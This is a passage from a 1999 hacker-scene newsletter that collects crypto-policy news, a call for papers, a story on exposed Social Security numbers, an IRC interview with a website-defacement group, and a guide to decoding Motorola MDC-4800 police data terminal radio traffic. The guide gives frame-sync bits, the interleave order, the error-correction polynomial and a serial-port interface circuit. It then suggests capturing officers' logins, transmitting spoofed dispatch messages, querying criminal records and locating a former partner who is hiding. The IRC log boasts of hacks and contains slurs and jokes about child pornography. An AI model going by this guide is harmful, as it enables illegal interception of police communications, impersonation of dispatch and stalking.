would bear the additional costs of being able to extract information from
TTPs and would only exercise their powers when there was a threat to
national security.
The Post Office will announce later this month that it is launching a
Trusted Third Party service called ViaCode.
Red flag
The final witness of the day, a leading encryption expert, Dr Ross
Anderson of Cambridge University, compared key escrow to the red flag that
had to be waved in front of the first motor cars to warn people of danger.
A week after the requirement was removed, there was the first road traffic
fatality. But no-one would suggest we go back to the red flag today and
the assumption is made by the police that 99% of those on the road are
good guys, he said.
He added that the police had a long way to go with computers to match
their current knowledge of the motor car. They had often had to call in
outsiders such as himself to help with encryption cases.
"There are many, many ways of attacking computer systems and inevitably
TTPs are going to be compromised," he said. "The role of government should
be protecting the consumer - big business can look after itself."
He said the best way forward in terms of legislation was the Australian
approach that simply recognised that electronic signatures had the same
force as manuscript signatures.
"Key escrow would have to be global to achieve its stated purpose, and
there is now no prospect of this," he said in an additional written
submission to the committee.
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Internet Security Institute [www.isi-sec.com]
@HWA
25.0 [ISN] Crypto: Under lock and key
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Forwarded From: privacy <anon@juno.com>
http://www.newscientist.com/ns/19990306/forum.html
Under lock and key
By Duncan Graham-Rowe
GOVERNMENTS hate things going on that they don't know about. Not long ago,
many governments insisted that they should have the ability--and the
right--to decipher all coded messages. The US government, for example,
tried to get organisations to use its clipper chip for encryption. Only
the government, of course, would hold the numbers, or keys, that would
enable it to read anything encoded by the chip. Encryption looked set to
become a major civil liberty issue.
The subject might seem somewhat esoteric. Indeed, many people have never
even heard of it. But whether you know it or not, you almost certainly
depend on computer encryption already. Banks, for example, use encryption
software to safeguard their customers' personal identification numbers, or
PINs.
Many other businesses, and individuals, also have good reasons for wanting
to be sure that information such as a credit card number sent over the
Internet is not being intercepted--or at least cannot be read if it is.
Human rights organisations, for example, often use cryptography to relay
sensitive information.
People who send coded messages obviously want to use strong encryption
software, the best available. And while there is no such thing as an
uncrackable code, strong encryption comes pretty close. Even with the
fastest supercomputers, it could take years to break most properly encoded
messages.
And this is what gets governments so worried. Strong encryption makes
eavesdropping on other people's communications practically impossible.
Many governments argue that being able to decode encrypted messages is
essential if they are to crack down on criminal activity, such as the
distribution of child pornography on the Internet.
As a result, a number of Western governments, including France, Britain
and the US, have spent years quietly trying to introduce various versions
of what is called key escrow. The idea is that government approved
agencies, called "trusted third parties", would be set up to hold the
encryption keys on our behalf. Then, when the police want to decode a
particular message or set of communications, they would present a warrant
to these agencies.
It sounds reasonable, but such a system would be open to abuse and far
from secure. Besides favouring encryption systems that are easy to crack,
key escrow represents a weak link in what would otherwise be an almost
impenetrable chain.
Worse still, it wouldn't even achieve what it was designed for. If key
escrow was in place, few criminals would be stupid enough to use it. In
fact, criminals would probably be the only ones with any real privacy.
And while all those whose job it is to fight crime argue that this would
nevertheless provide a good way of flushing out criminals, to do this
effectively you would have to know where to look in the first place, which
is a somewhat circular argument.
So is it really worth jeopardising our privacy on the off chance that the
police might catch a few careless criminals? Not according to the French.
Last month, France denounced its own well-established policy of banning
commercial encryption, after 200 companies complained to the government
about key escrow. Prime Minister Lionel Jospin openly admitted that key
escrow was useless in fighting crime and therefore unwarranted.
And even the US seems to be backing down, after a spate of TV commercials
aimed at embarrassing the government brought the issue out in the open.
It also seems likely that export laws will be relaxed so that strong
encryption software such as Pretty Good Privacy (PGP) is no longer
classified as munitions and banned from export.
Britain's Department of Trade and Industry seems to be following suit.
After nearly five years of consultation, the e-commerce bill is rumoured
to be published this week. Although the official line has been that the
government favours key escrow, euphemistically calling it a voluntary
system of cryptography, the message that this is unacceptable appears to
have been drummed home not just by industry bodies but also, according to
popular rumour, by the former trade minister Peter Mandelson.
This is a welcome change of heart. It is just a pity that it has come not
from governments recognising the futility of key escrow or from listening
to the cogent arguments of civil libertarians, but merely in response to
pressure from industry.
From New Scientist, 6 March 1999
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Internet Security Institute [www.isi-sec.com]
@HWA
26.0 HRC's interview with Goat Security (IRC LOG)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
HRC is a new site (Hackers Resource Centre) that has premiered with the
following "article" on Goat Security, the team that recently hacked Yahoo..
well a new group is out. its title: Goat Security. they are on #feed-the-goats
on efnet. you may visit their page at goat.sphix.com. responsible for the
Yahoo.com hack which is archived at hackernews.com this group is goin big and
gettins some fame. They poke fun of Ez00ns, and B0rt. claiming they are
interviewing them, and talking bout how they have anal sex among other queer
things. and yes im even mentioned in the interviews. portrayed as a pedophiliac,
and a homosexual. i do find this page extremely funny. it makes me laugh out
loud!. the group consists of members from HcV, and Legion2000. theres a few
others that dont belong to a group. the complete roster is on their homepage.
for the full interview direct your attention here.(see below) on march 18th
they also got des-con-systems.com as far as i know there isnt a archive of
this hack. ech0 owned them again on March 21st. with mad elite props to goat
security. well i wonder how long this group will go on.
b0w to the goat.
From HRC
http://solarz.net/hrc/interviewedgoats.html
Session Start: Sun Mar 21 22:09:24 1999
* Logging #goating to '#goating_990321.log'
[Debris] one min
[^Dreamer] k
ööö [join(#goating)] chemmy (lamur@modemcable207.162.mmtl.videotron.net)
ööö [mode(#goating)] Debris (+o chemmy)
[chemmy] Dont you hate when you overwrite a window
[Debris] lol
[Debris] hold on
[^Dreamer] k
[Debris] Ok lets get started
[^Dreamer] k
[chemmy] I cant figure out MY FUCKING ERROR
[Debris] chem
[Debris] this is an interview
[^Dreamer] 1) why was feed-the-goats founded? to annoy ppl? to inform ppl of ez00s?
[^Dreamer] ez00ns rather
[chemmy] Ha
[chemmy] ^Dreamer, Because Debris had no life..
[Debris] Well basically me and ech0 started it in one boring day
[Debris] hold on more coming
[Debris] we were talking and ech0 told me how he sometimes makes a chan called #feed-the-goats
[Debris] so, me and ech0 went there and asked chem if we could use one of his eggdrops and of course he said no at first
[Debris] but then he changed his mind
[^Dreamer] whyd you change your mind chem?
[Debris] And ech0 got hcv people coming and stuff, and i thought if i turn this into a group i can be cool so here we are
[chemmy] Cuz debby was my friend :>
[Debris] =]
[chemmy] And I mean I had lotsa so why not put one in a gay unpopular friend
[chemmy] friend-chan
[^Dreamer] ok so then the groups as most ppl know naturally hate/dislike/whatever ez00ns and b0rt and myself. so the group just kinda turned to pokin fun and
makin fake interviews
[^Dreamer] ?
[Debris] me and ech0 seem to dislike everyone but ourselves and our friends
[Debris] And we enjoy pissing off the world
[Debris] and
[Debris] well we think LoU is gay, and ez00ns is too
[Debris] so why not tell everyone else
[^Dreamer] understandable
[chemmy] hehe
[Debris] were just letting out our creative genius
[^Dreamer] who drew the damn goat pics on the intro to the goat page?
[Debris] um
[Debris] heh
[Debris] uh, we um..... found thaty
[^Dreamer] i like em
[Debris] actually it was me
[^Dreamer] do you have plans of like world domination? cyber wars? killing anything? or just having some fun?
[^Dreamer] i know this interview sucks dick, but youll have to forgive me for ive never interviewed anyone before
[chemmy] What is this interview for?
[Debris] Well our plans at this time are, to dominate the blowing up of toilets scene, and take out the cDc forever!
[^Dreamer] so you hate the cDc (Cult of the Dead Cow???)
[Debris] yes
[Debris] they always ban me, all i wanted was some damn JUAREZ
[^Dreamer] well i started a page called H.R.C. (solarz.net/hrc) and i plan on putting this up there as my first article..
[chemmy] ha ok
[^Dreamer] was FtG responsible for the yahoo hack?
[Debris] whos ftg?
[chemmy] Just remember, Debris is crazy
[chemmy] Ftg?
[^Dreamer] Feed-the-Goats
[Debris] We are goat security
[^Dreamer] ok goat security (Gs ok?)
[chemmy] So therefore yes
[Debris] Yes, the yahoo hack, although denied by yahoo, did take place and was committed by members of Goat
[^Dreamer] why did you target yahoo? any specific reason [chemmy] yahoo is gay
[chemmy] I hate the name
[Debris] like the altered index.htm said, We were looking for porn and found pictures of billy boy
[^Dreamer] gotcha, well if ya ever want porn ive got mad pics (and no theres no child porn )
[Debris] well we only want child porn
[Debris] and for the record, EHAP can suck my underaged cock
[chemmy] and gr0wn grand pa's.
[Debris] sorry RS...
[^Dreamer] anyone else youd like to send your deepest regards too? just what groups/ppl do u like?
[Debris] yes
[^Dreamer] i understand that you hate dalnet, is this true and y?
[^Dreamer] am gettin ahead of myself
[Debris] I dont hate dalnet but i never go on it
[chemmy] I am in X-Forces so therefore I LIKE ALL MY FRIEEEEEEENDS!
[^Dreamer] does x-forces have a homepage?
[Debris] ya, werd to #freaks, m1les, X-forces, Script kiddies inc (which im in and some texts i wrote are there) and #webfringe
[chemmy] x-forces.com but it sucks
[^Dreamer] alright.
[chemmy] We're actually doing a new design (BTW it sucked cuz I wanna implicated it in =) )
[Debris] some stuff i wrote is at www.nuclearbomb.com/ski
[chemmy] And the x-forces serv hosts goat's page
[chemmy] So if debris tries anals attempts on me
[chemmy] It drops
[^Dreamer] haha
[^Dreamer] you guys are just too crazy
[Debris] shutup you stupid seperatist
[chemmy] DIE CANADA DIE
[chemmy] Yes
[Debris] DIE FRENCH WHORE
[^Dreamer] anything youd like to end in closing?
[chemmy] Yes
[Debris] yes
[^Dreamer] shoot
[chemmy] WE WILL OWN THE UNIVERSE@&*^#@
[Debris] my turn
[chemmy] I plan on dominating the world
[Debris] IL MAY BE GOING TO JAIL TOMORROW SO...... FREE I-L, FREE GOAT!
[^Dreamer] goin to jail for?
[Debris] assault
[^Dreamer] o one more thing
[Debris] what
[^Dreamer] what was the url of that site that goat security owned tongiht?
[Debris] that wasnt goat
[Debris] that was opt1k
[chemmy] des-con-systems.com
[chemmy] Ya
[Debris] opt1k aint no goat
[^Dreamer] yes. what was that site origianlly?
[Debris] goat owned that site first
[Debris] 3 days ago
[^Dreamer] and y did ya target it?
[chemmy] Ask opt1k
[Debris] because it was easy, and our premade scripts supported irt
[chemmy] And note that tomorrow or day after me & ech0 release a nice prog
[^Dreamer] where can we get the prog?
[Debris] no its not
[Debris] itsa gay prog, your making so ken will hump you
[chemmy] We'll release it to friends first then public if any site wants it :>
[chemmy] No deb you jealous you fuck!
[chemmy] I'm gonna haxor you with it
[chemmy] CUZ EYE AM A SCRIPT KIDDIE
[^Dreamer] you can put it no solarz.net/hrc
[chemmy] Okay
[chemmy] We will
[Debris] it will be released on goat first
[^Dreamer] alright then
[Debris] goat.sphix.com
[chemmy] Shut up deb you aint c0ding it
[chemmy] =)
[chemmy] Dreamer how old are you?
[^Dreamer] what will this prog do?
[Debris] im gunna code something better thab it
[chemmy] Debris, lol
[Debris] itll will auto phf
[^Dreamer] what os'es suppoort it
[^Dreamer] im 18
[Debris] goat0s
[chemmy] It will detect and report ONLY exploitable services..not only the open one
[chemmy] And auto remote exploit it
[chemmy] Tested on linux for now
[^Dreamer] sounds good for lazy ppl
[Debris] tested?
[Debris] ahaha
[Debris] it cant even connect yet
[chemmy] No, sounds good for script kiddies
[Debris] duh whatsa socket
[chemmy] Debris, DID I SAY IT WAS FINISHED?
[Debris] YES
[chemmy] NO
[chemmy] I SAID TOMORROW OR DAY AFTER
[chemmy] YEW CUNT
[Debris] shut the fuck up you worthless piece of shit
[chemmy] I'm gonna slap a dick in your face you goat whore
[Debris] UDP KIDDIE MUASHASHASHAAHS
[^Dreamer] ok am done with you
[Debris] GOOD
[^Dreamer] thanks guys i appreciate it
[chemmy] lol
[chemmy] ok
ööö [part(#goating)] Debris (~Debris@ppp-5800-02b-3102.mtl.total.net)
[chemmy] Cya
ööö [part(#goating)] ^Dreamer (barry@ts0800.hhs.net)
Session Close: Sun Mar 21 22:33:25 1999
@HWA
27.0 Year 2000 Network and Distributed System Security
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ForwardedFrom: "Jay D. Dyson" <jdyson@techreports.jpl.nasa.gov>
Courtesy of Cryptography List.
Originally From: "David M. Balenson" <balenson@tislabs.com>
C A L L F O R P A P E R S
The Internet Society
Year 2000 Network and Distributed System Security
Symposium (NDSS 2000)
Catamaran Resort Hotel, San Diego, California
February 2-4, 2000
IMPORTANT DATES:
Paper and panel submissions due: June 16, 1999
Author notification: August 17, 1999
Final versions of papers and panels due: October 15, 1999
GOAL:
This symposium aims to foster information exchange among researchers
and practitioners of network and distributed system security
services. The intended audience includes those who are interested
in practical aspects of network and distributed system security,
with the focus on actual system design and implementation, rather
than theory. A major goal of the symposium is to encourage and
enable the Internet community to apply, deploy, and advance the
state of available security technology. The proceedings of the
symposium will be published by the Internet Society.
Submissions are solicited for, but are not limited to, the
following topics:
* Secure Electronic Commerce, e.g., payment, barter, EDI,
notarization/timestamping, endorsement and licensing.
* Intellectual Property Protection: protocols, schemas,
implementations, metering, watermarking, other forms of rights
management.
* Implementation, deployment and management of network security
policies.
* Integrating Security in Internet protocols: routing, naming,
TCP/IP, multicast, network management, and, of course, the Web.
* Attack-resistant protocols and services.
* Special problems and case studies: e.g. interplay and tradeoffs
between security and efficiency, usability, reliability and cost.
* Security for collaborative applications and services: tele- and
video-conferencing, groupwork, etc.
* Fundamental services: authentication, data integrity,
confidentiality, authorization, non-repudiation, and availability.
* Supporting mechanisms and APIs: key management and certification,
revocation, audit trails and accountability.
* Integrating security services with system and application security
facilities and protocols, e.g., message handling, file
transport/access, directories, time synchronization, data base
management, boot services, mobile computing.
* Security for emerging technologies -- sensor networks, specialized
testbeds, wireless/mobile (and ad hoc) networks, personal
communication systems, and large heterogeneous distributed systems.
* Intrusion Avoidance, Detection, and Response: systems, experiences
and architectures
* Network Perimeter Controls: firewalls, packet filters, application
gateways.
BEST PAPER AWARD:
A best paper award will be introduced at NDSS 2000. This award will
be presented at the symposium to the authors of the best paper to
be selected by the program committee.
GENERAL CHAIR:
Stephen Welke, Trusted Computer Solutions
PROGRAM CO-CHAIRS:
Gene Tsudik, USC / Information Sciences Institute
Avi Rubin, AT&T Labs - Research
TUTORIAL CHAIR:
Doug Maughan, NSA / DARPA
PROGRAM COMMITTEE:
Bill Cheswick, Lucent Bell Labs
Marc Dacier, IBM Research Zurich
Jim Ellis, CMU / CERT
Carl Ellison, Intel
Ed Felten, Princeton
Virgil Gligor, UMD College Park
Thomas Hardjono, Bay Networks/Nortel
Cynthia Irvine, Naval Postgraduate School
Charlie Kaufman, Iris Associates
Dave Kormann, AT&T Labs - Research
Hugo Krawczyk, Technion and IBM
Carl Landwehr, Naval Research Lab
Doug Maughan, NSA / DARPA
Gary McGraw, Reliable Software Technologies
Sandra Murphy, TIS Labs at Network Associates
Clifford Neuman, USC / Information Sciences Institute
Paul Van Oorschot, Entrust
Sami Saydjari, DARPA ISO
David Wagner, UC Berkeley
Bennet Yee, UC San Diego
LOCAL ARRANGEMENTS CHAIR:
Thomas Hutton, San Diego Supercomputer Center
PUBLICATIONS CHAIR:
John Kochmar, SEI
PUBLICITY CHAIR:
David Balenson, TIS Labs at Network Associates
LOGISTICS CHAIR:
Carla Rosenfeld, Internet Society
REGISTRATIONS CHAIR
Beth Strait, Internet Society
SUBMISSIONS:
The committee invites both technical papers and panel proposals.
Technical papers should be at most 20 pages long. Panel proposals
should be at most two pages and should describe the topic, identify
the panel chair, explain the format of the panel, and list three
to four potential panelists. Technical papers will appear in
the proceedings. A description of each panel will appear in the
proceedings, and may -- at the discretion of the panel chair --
include written position statements from the panelists.
Each submission must contain a separate title page with the type
of submission (paper or panel), the title or topic, the names of
the author(s), organizational affiliation(s), telephone and FAX
numbers, postal addresses, e-mail addresses, and must specify
the contact author in case of multi-author submissions. The names
of authors, affiliations, and other identifying information should
appear only on the separate title page.
Submissions must be received by June 16, 1999, and must be made
via electronic mail in either PostScript or ASCII format. If
the committee is unable to print a PostScript submission, a
hardcopy will be requested. Therefore, PostScript submissions
must arrive well before the deadline.
All submissions and program related correspondence (only) should
be directed to the program chair:
Gene Tsudik
USC Information Sciences Institute
4676 Admiralty Way
Marina Del Rey, CA 90292
Email: ndss00@isi.edu
TEL: +1 (310) 822-1511 ext 329
FAX: +1 (310) 823-6714
Dates, final call for papers, advance program, and registration
information will be available soon at the URL: httl//www.isoc.org/ndss2000.
Each submission will be acknowledged by e-mail. If acknowledgment
is not received within seven days, please contact the program
chair as indicated above. Authors and panelists will be notified
of acceptance by August 17, 1999. Instructions for preparing
camera-ready copy for the proceedings will be sent at that time.
The camera-ready copy must be received by October 15, 1999.
- ----------------------------------------------------------------------
David M. Balenson, Cryptographic Technologies Group
TIS Labs at Network Associates, Inc.
3060 Washington Road, Suite 100, Glenwood, MD 21738 USA
balenson@tislabs.com; 443-259-2358; fax 301-854-4731
pgp fingerprints FD53 918E 097A 2579 C1A8 34F8 E05D E74F AC1D E184 (DSS/DH)
D43B 565B 2C0E 90F4 38BB D9EA 1454 3264 (RSA)
@HWA
28.0 Billionaires social security numbers listed on net (Yes Gates is here too)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC still listing Social Security IDs
By Courtney Macavinta
Staff Writer, CNET News.com
March 23, 1999, 4:00 a.m. PT
The Social Security numbers of many billionaire executives, including Bill Gates, are still listed on the Internet nearly
two years after the Securities and Exchange Commission ceased collecting them on certain public forms.
High-tech moguls have voluntarily included their Social Security numbers in filings documenting their stock ownership that were
later made freely available on the SEC's Web site, as CNET News.com reported in 1997.
Fearing that the Net made it too easy to exploit personal information, the SEC revised its rules in June 1997 and said it would no
longer accept Social Security numbers on those forms. Nonetheless, News.com found old filings--and in some cases documents
filed after the rule change--that still include the numbers of corporate officers at public companies.
If the nine-digit numbers fall into the wrong hands, they can be used to obtain such information as current and previous
addresses, employment histories, or credit reports--which, in turn, can unlock other private data such as bank account numbers.
In addition to Microsoft's chairman Gates and cofounder Paul Allen, Intel cofounder Gordon Moore and Gateway founder Ted Waitt
are among the members of the billionaire club whose Social Security numbers remain easily accessible through the SEC's
EDGAR database. The Social Security numbers of Gates, Allen, and Moore were found on forms filed before the summer of 1997,
but Waitt's number was accepted on a February 1998 filing, after the SEC changed its policy.
Social Security numbers were created to track earnings and Social Security benefits. But the unique numbers are now used for
much more, leading privacy organizations to argue that the SEC has a moral obligation to stop publishing them on the Net.
"The SSN is the way that everybody's financial records are kept together," said Jodie Beebe, a spokesman for the Privacy Rights
Clearinghouse.
"If somebody gets a copy of your SSN, they can get utilities hooked up, rack up several credit cards, establish employment--and
your credit report can be ruined," she added. "Identity theft can wreak havoc in your life."
Microsoft would not comment about the exposure of Gates's Social Security number, though privacy concerns are nothing new to
the company. The software giant and Intel--its chipmaking partner in the Wintel PC juggernaut--found themselves at the center of
recent computer privacy concerns when it was revealed that their products could be used to track Net users' activities.
In fact, anxiety over the increasing loss of privacy in the information age is at an all-time high, with many lawmakers and
consumer advocates calling for industry and government to more closely guard personally identifiable information, which is
solicited by Web sites, compiled by database creators or resold in digital format.
The SEC is also worried about inadvertently playing a part in identity theft or other privacy breaches.
"With the growth of the EDGAR database, and its availability to millions of viewers on the commission's Web site, the
commission is concerned that these numbers are too readily available," the SEC stated in its June 1997 rule change. "The
usefulness of Social Security numbers filers voluntarily provide on these forms is outweighed by the risk of misuse created by the
disclosure of those numbers."
Still, the SEC has no plans to remove documents from its online archive that include the numbers, spokesman John Heine said
yesterday. "We can't alter those forms. They are a matter of public record," he said.
@HWA
29.0 The Doghouse -- Motorola's MDC-4800 Police Data Terminal
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From Cryptogram
I'd grab this software before it becomes too well known and pulled from
the site ... - Ed
There's a Windows program that decodes the police car mobile data terminal
transmissions. If you thought listening in on police radio frequencies was
interesting, you should see what comes over on those data transcripts.
Motorola's "encryption" wasn't designed for privacy, it's more like a
checksum for transmission integrity. Basically, it's XOR.
The software is free, although there is this helpful notice on the Web
site: "Decoding MDT transmissions may be illegal in some countries, you
may want to check the laws for your country before using this program."
http://www.geocities.com/ResearchTriangle/Facility/7646/
From the site;
How to decode the MDC 4800 Protocol
Greetings one and all,
Have you ever lusted to decode Mobile Data Terminal (MDT)
tranmissions? Have you ever wanted to see the same NCIC and motor
vehicle information that law enforcement officers see? Have you ever
wanted to see what officers send to each other over "private" channels?
And all this with an interface you can build with only a few dollars
worth of parts from your local radio shack?
If so this posting might be your rendevous with destiny. The tail
end of this posting includes the source code of a program that decodes
and displays MDT messages. It stores roughly 30k of messages in a buffer
and then writes the whole buffer to a file called "data.dat" before
terminating. The program may be interrupted at any time by pressing any
key (don't use control-c) at which point it writes the partially filled
buffer to "data.dat". This program only works for systems built by
Motorola using the MDC4800 tranmission protocol. This accounts for a
large fraction of public service MDT systems as well other private
systems.
The existence of this program is ample evidence that Motorola has
misrepresented its MDT systems when it marketed them as a secure means
of communcications. The interested reader will soon discover that these
systems do not use any form of encryption. Security concerns instead
have been dealt with by using a code. "And what might this code be
called?" asks the reader. The code turns out to be plain ASCII. What
follows is a brief description of how the program and the MDC4800
protocol work. If you don't understand something go to your local
library and check out a telecommunications theory book.
1. The raw transmission rate is 4800 baud. The program's interrupt
service routine simply keeps track of the time between transitions. If
you're receiving a perfect signal this will be some multiple of 1/4800
seconds which would then give you how many bits were high or low. Since
this is not the best of all possible worlds the program instead does the
following: transitions are used to synchronize a bit clock. One only
samples whenever this clock is in the middle of the bit to produce the
raw data stream. This greatly reduces jitter effects.
2. Whenever a tranmitter keys up the MDC4800 protocol calls for bit
synchronization (a sequence of 1010101010101010....). In the program
this will result in receive bit clock synchronization. There is no need
to specifically look for the bit sync.
3. Look for frame synchronization in raw bit stream so that data
frames can be broken apart. Frame synchronization consists of a 40 bit
sequence : 0000011100001001001010100100010001101111. If this sequence is
detected (or 35 out of 40 bits match up in the program) the system is
idling and the next 112 bit data block is ignored by the program. If the
inverted frame sync is detected one immediately knows that 112 bit data
blocks will follow.
4. Receive the 112 bit data block and undo the bit interleave. This
means that one must reorder the bits in the following sequence : {0,16,
32,48,64,80,96,1,17,33,49,65,81,97,2,18,34,...} if the orignal sequence
were received as {0,1,2,3,4,5,6,7,8,...}.
5. Check the convolutional error correcting code and count the
number of errors. The error correcting code is rate 1/2 which means we
will be left with 56 data bytes. The encoder is constructed so that the
output consists of the original data bits interspersed with error
correcting code. The generating polynomial used is :
1 + X^-1 + X^-5 + X^-6
Whenever an error is detected a counter is incremented. An attempt is
made to correct some errors by finding the syndrome and looking for the
bogus bit.
6. Keep receiving 112 bit data blocks until either a new frame sync
is found or two consecutive data blocks have an unacceptably large
number of errors.
7. Each data block consists of six data bytes; the last 8 bits are
status bits that are simply ignored. The program shows the data in two
columns - hexadecimal and ASCII. This data is kept in a buffer and is
written to the file "data.dat" when the program terminates.
8. What the program doesn't do: As a further check on the data
there can be CRC checks. This varies from protocol to protocol so this
program does not implement the CRC checks. Nonetheless, it is a
relatively trivial matter to find the generating polynomial. The
addresses, block counts, and message ID numbers are also quite easy to
deduce.
As you can see, there is no encryption. The bit interleave and the error
correcting coding are there solely to insure the integrity of the ASCII
data. Since any moron could have figured this stuff out from scratch one
could argue that MDTs do not use "...modulation parameters intentionally
witheld from the public". Therefore the Electronic Communications
Privacy Act may not prohibit receiving MDT tranmissions. However,
consult your attorney to make sure.
The total disregard for security will no doubt annoy countless
Motorola customers who were assured that their MDT systems were secure.
Since Federal law states that NCIC information must be encrypted your
local law enforcement agency might be forced to spend millions of
dollars to upgrade to a secure MDT system - much to the delight of
Motorola and its stockholders. Cynics might conclude that the release of
a program like this is timed to coincide with the market saturation of
existing MDT systems.
Also, this program is completely free and it had better stay that
way. What's to prevent you from adapting this into a kit and selling it
from classified ads in the back of Nuts and Volts? Nothing. But take a
look at Motorola's patents sometime. You'll notice that this program
does things that are covered by a shitload of patents. So any attempt to
take financial advantage of this situtation will result in utter misery.
Please keep the following in mind: this program only works with the
first serial port (COM1). If your mouse or modem is there too bad. If
you don't like this rewrite the program.
------------------------------------------------------------------------
What equipment do I need?
RADIO SCANNER:
A scanner that can receive 850-869 MHz. For those of you who don't
know, this is the band where most business and public service trunked
radio systems can be found along with the mobile data terminal
transmissions. Chances are excellent that if your local authorities have
a motorola trunked radio system and mobile data terminals that this is
the frequency band in use. Very rarely will one find mobile data
terminals in other frequency bands.
Now for the fun part - your scanner should probably be modified to
allow you to tap off directly from the discriminator output. If you wait
until the signal has gone through the radio's internal audio filtering
the waveform will likely be too heavily distorted to be decoded. This is
exactly the same problem that our friends who like to decode pager
transmissions run into - some of them have claimed they can only decode
512 baud pager messages using the earphone output of their scanner.
These mobile data terminal messages are 4800 baud so I don't think you
have a snowball's chance in hell without using the discriminator output.
If you don't know where to begin modifying your scanner you might want
to ask those who monitor pagers how to get the discriminator output for
your particular radio.
COMPUTER/SCANNER INTERFACE
Those of you who have already built your interface for decoding
pager messages should be able to use that interface without any further
ado. For those starting from scratch - you might want to check out
packages intended for pager decoding such as PD203 and the interfaces
they describe. The following excerpt gives an example of a decoder that
should work just fine (lifted out of the PD203 POCSAG pager decoder
shareware documentation):
>
> 0.1 uF |\ +12v
> ---||-----------------------|- \|
> AF IN | |741 \
> ---- | | /--------------------- Data Out
> | \ ------|+ /| | CTS (pin 5/8)
> | / 100K | |/-12v | or DSR (pin 6/6)
> | \ | |
> GND / ----/\/\/\---- GND ------ GND (pin 7/5)
> | | 100K
> | \ N.B. Pin Numbers for com port are
> GND / given as x/y, where x is for a 25
> \ 10K way, y for a 9 way.
> /
> |
> GND
>
This needs a mod - It is far to deaf as this. Remove the 10k resistor and
replace it with a 470 ohm preset and 560 ohm fixed in series. Audio level is
critical in the pd203 that he refers to ! - dg
> The above circuit is a Schmitt Trigger, having thresholds of about +/- 1v.
balls - its nearer to 3 to 4 volts p-p! (dg)
> If such a large threshold is not required, eg for a discriminator output,
> then the level of positive feedback may be reduced by either reducing the
> value of the 10K resistor or by increasing the value of the 100K feedback
> resistor.
>
> The +/- 12v for the op-amp can be derived from unused signals on the COM
> port (gives more like +/- 10v but works fine !):-
>
>
> TxD (2/3) --------------|<-------------------------------------- -12v
> | |
> RTS (4/7) --------------|<-------- GND - -
> | | _ + 10uF
> --------->|------- - - |
> Diodes 1N4148 | - + 10uF GND
> | |
> DTR (20/4) ------------->|----------
---------------------------- +12v
>
If I were building this circuit I would strongly suggest tying the
non-inverting (+) input of the op-amp to ground since you are working
directly with the discriminator output and don't need a Schmitt trigger.
All these parts or equivalents are easily available (even at your local
Radio Shack which stocks the finest collection of components that have
failed the manufacturer's quality control checks and supported by a
sales staff that's always got the wrong answers to your questions).
Also: DO NOT use the RI (ring indicator) as an input to the computer.
-------------------------------------------------------------------------
How do I check things?
As a first step, I would get a package such as PD203 and use it to
decode a few pages. If you can get that working you know that that your
interface circuit is functioning correctly.
If you are in a reasonably sized town you might be part of the
ardis network. The ardis network is a nationwide commercial mobile data
terminal network where one can send/receive E-mail messages from one's
portable computer. It has been exclusively assigned the frequency of
855.8375 MHz. Therefore, if you can hear digital bursts on this
frequency you are basically guarranteed that these are MDC4800 type
messages. You should be able to get stuff popping up on your screen
although a lot of the messages will not be plain english.
If your interface works but you can't seem to get any messages on
the screen for a channel you know is a Motorola MDT system then it might
be possible that your scanner/interface is putting out data with the
polarity reversed. To check for this run the program with a command line
arguement. When it runs you should an initial "Polarity reversed"
message and hopefully then things will work out for you.
Other than that: if this program doesn't work pester someone else
who has got it working. Don't bother pestering the author(s) of this
posting; the shit(s) aka "she/he/it (s)" are afraid of a thousand
lawyers from Motorola descending like fleas to infest their pubic hair
and accordingly have decided to remain forever anonymous. No doubt
someone on the usenet who sees this post will know what to do with this
program and also hopefully rewrite into a more user friendly form. When
you do please don't forget to release the source code.
-------------------------------------------------------------------------
Future projects/nightmares you might want to think about:
Certain MDT systems embed formatting information in the text in the
form of ESC plus [ plus a few more bytes. Someone might want to decode
these on the fly and format the output so it looks exactly the same way
as the user sees it.
Make it so that this program works with com ports other than COM1.
Make it user friendly?
Enlarge the data buffer from the current 30k.
Give the output data file an unique name each time the program is
run instead of "data.dat".
How about sorting through the past traffic so that you only see
traffic to a specified user?
The program does not cut data blocks off in the display but it
might add an extra one or two (which will display as all zeroes).
Someone might want to make all those zeroes be shown as blanks instead.
Write some real instructions.
Now the more ambitous stuff:
Are you half-way competent with RF engineering? Then listen in to
the tranmissions from the mobile units back to the base station. That
way you get everyone's password and user IDs as they log on to the MDT
system. By this point you will no doubt have been able to figure out all
of the appropriate communications protocols so you should think about
getting your own transmitter up and running along with the necessary
program modifications so that you can transmit MDT messages. The
required transmitter can be very simple - for example, those masocists
who want to start from scratch might want to special order an
appropriate crystal (pulling the frequency with the computer's tranmit
signal), building a frequency multiplier chain, and adding a one watt RF
amplifier to top it all off (see the appropriate ARRL publications for
more information on radio techniques). Now you can log in and look at
the criminal records and motor vehicle information on anybody you can
think of. Find out what your neigbors are hiding. Find out who that
asshole was that cut you off downtown. Find out where your former
girl/boy friend is trying to hide from you. And on and on...
Those with simpler tastes might want to simply transmit at the base
station's frequency to any nearby MDT terminal - now you too can
dispatch your local law enforcement agencies at the touch of your
fingers!!! See your tax dollars at work tearing apart every seam of your
neighbor's house. Or create strife and dissension in your local law
enforcement agency as more and more officers come out of the closet
using their MDTs trying to pick up fellow officers.
There are municipalities that have put GPS receivers on all of
their vehicles. Should it happen that the information is sent back over
one of these networks you could have your computer give you a real-time
map showing the position of every vehicle and how far away they are from
you.
Extend your knowledge to other data networks. Here you will want to
look at the RAM mobile data network. It uses the MOBITEX protocol which
is really easy to find information on. Since it is an 8 kilobaud GMSK
signal there is a decent chance that you can use the interface described
here. This transmission mode demmands much more from your equipment than
MDT tranmissions. At the very least you must be much more careful to
make sure you have adequate low frequency response. Despite this it is
possible to receive and decode MOBITEX transmissions with a simple
op-amp circuit! This just goes to show you what drivelling bullshit
RAM's homepage is filled with - they explain in great detail how hackers
will never be able to intercept user's radio tranmissions (incidentally
